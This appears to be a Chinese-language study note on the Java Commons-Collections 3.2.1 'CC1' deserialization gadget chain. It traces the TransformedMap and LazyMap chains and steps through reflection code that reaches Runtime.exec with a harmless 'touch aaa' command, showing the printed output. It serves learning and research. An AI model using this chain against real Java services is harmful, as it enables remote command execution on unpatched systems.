CC1
参考:https://www.cnblogs.com/1vxyz/p/17284838.html
环境:jdk8u65 && commons-collections 3.2.1
CC1在jdk8u71后就修复了(修了AnnotationInvocationHandler::readObject())
sink点在 InvokerTransformer::transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> MapEntry.setValue() -> TransformedMap.checkSetValue -> ChainedTransformer.transform() -> ConstantTransformer.transform() -> InvokerTransformer.transform() -> Method.invoke() -> Class.getMethod() -> InvokerTransformer.transform() -> Method.invoke() -> Runtime.getRuntime() -> InvokerTransformer.transform() -> Method.invoke() -> Runtime.exec()
|
Runtime对象不能序列化(没有继承Serializable) 我们需要一直用InvokerTransformer::transform()来反射获取Runtime.getRuntime().exec("cmd")
这里详解一下InvokerTransformer::transform()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
|
以new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}).transform(Runtime.class)为例
首先明确 InvokerTransformer的构造函数接收(String, Class[], Object[])
所以这里的iMethodName是”getMethod”
paramTypes是{String.class, Class[].class}
iArgs是{“getRuntime”, null}
input是Runtime.class
进到try语句里看 不妨把输出都打印出来
1 2 3 4 5
| System.out.println("cls:" + Runtime.class.getClass()); System.out.println("method:" + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class})); -> cls:class java.lang.Class method:public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[]) throws java.lang.NoSuchMethodException,java.lang.SecurityException
|
可能会对传入的paramTypes有点疑惑 实际上就是反射调用Class::getMethod的时候 要让paramTypes = 你getMethod得到的这个方法需要传入的参数
像这里是调用getMethod得到getMethod 而getMethod的参数是(String, Class<?>…)
所以传入的是{String.class, Class[].class} 同时iParamTypes的类型是Class[] 故也就是 new Class[] {String.class, Class[].class}

用getMethod得到getMethod可能有点绕 可以用第二个getMethod -> new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}).transform(prev)得到invoke来解释

这里invoke的参数是(Object, Object…) 所以最终传入的是 new Class[] {Object.class, Object[].class}
OK解释完getMethod 接着解释一下InvokerTransformer::transform的invoke
1 2 3
| System.out.println("invoke return:" + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(Runtime.class, new Object[] {"getRuntime", null})); -> invoke return:public static java.lang.Runtime java.lang.Runtime.getRuntime()
|
我们知道invoke会返回一个Object 打断点调试之后看到返回的是Method对象 也就是java.lang.Runtime.getRuntime()这个Method对象 -> 这个东西不是class 是Method extends Object

而这个Method对象即将是我们下一个的transform(input)的传入
我们需要知道最后执行命令是在return method.invoke(input, iArgs);
接下来我们把三次反射在transform中的cls, method, invoke_return都打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| System.out.println("cls: " + Runtime.class.getClass()); System.out.println("method: " + Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class})); Object a = Runtime.class.getClass().getMethod("getMethod", new Class[] {String.class, Class[].class}).invoke(Runtime.class, new Object[] {"getRuntime", null}); System.out.println("invoke return: " + a); System.out.println("cls_2: " + a.getClass()); System.out.println("method_2: " + a.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class})); Object b = a.getClass().getMethod("invoke", new Class[] {Object.class, Object[].class}).invoke(a, new Object[] {null, null}); System.out.println("invoke return_2: " + b); System.out.println("cls_3: " + b.getClass()); System.out.println("method_3: " + b.getClass().getMethod("exec", new Class[] {String.class})); Object c = b.getClass().getMethod("exec", new Class[] {String.class}).invoke(b, new Object[] {"touch aaa"}); System.out.println("invoke return_3: " + c); System.out.println("get all done"); -> cls: class java.lang.Class method: public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[]) throws java.lang.NoSuchMethodException,java.lang.SecurityException invoke return: public static java.lang.Runtime java.lang.Runtime.getRuntime() cls_2: class java.lang.reflect.Method method_2: public java.lang.Object java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[]) throws java.lang.IllegalAccessException,java.lang.IllegalArgumentException,java.lang.reflect.InvocationTargetException invoke return_2: java.lang.Runtime@28d93b30 cls_3: class java.lang.Runtime method_3: public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException invoke return_3: java.lang.UNIXProcess@7b23ec81 get all done
|
据此我们可以列出三次反射的最后命令调用
1 2 3 4 5 6
| 1: java.lang.Class.getMethod::invoke(Runtime.class, "getRuntime") -> java.lang.Runtime.getRuntime() 2: java.lang.reflect.invoke::invoke(java.lang.Runtime.getRuntime(), null) -> java.lang.Runtime@28d93b30 3: java.lang.Runtime.exec::invoke(java.lang.Runtime@28d93b30, "touch aaa") -> java.lang.UNIXProcess@7b23ec81
|
第一步 等价于 Runtime.class.getMethod(“getRuntime”) 并返回一个 java.lang.Runtime.getRuntime()的Method
第二步 等价于 getRuntimeMethod.invoke(null, null) 并返回一个Runtime的实例
第三步 等价于 Runtime实例.exec(“touch aaa”) 并返回一个UNIX进程
到此我们Runtime命令执行的反序列化完成 接下来就是把它们连续调用transform给串起来
这里ChainedTransformer是必须的 有点巧妙的感觉 就像是正好CC库里有这样一个非常容易成为攻击的点一样
LazyMap的打法我怎么没弄懂呢 感觉还是得看一下cc6才能懂 先贴一下gadget chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| /* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
|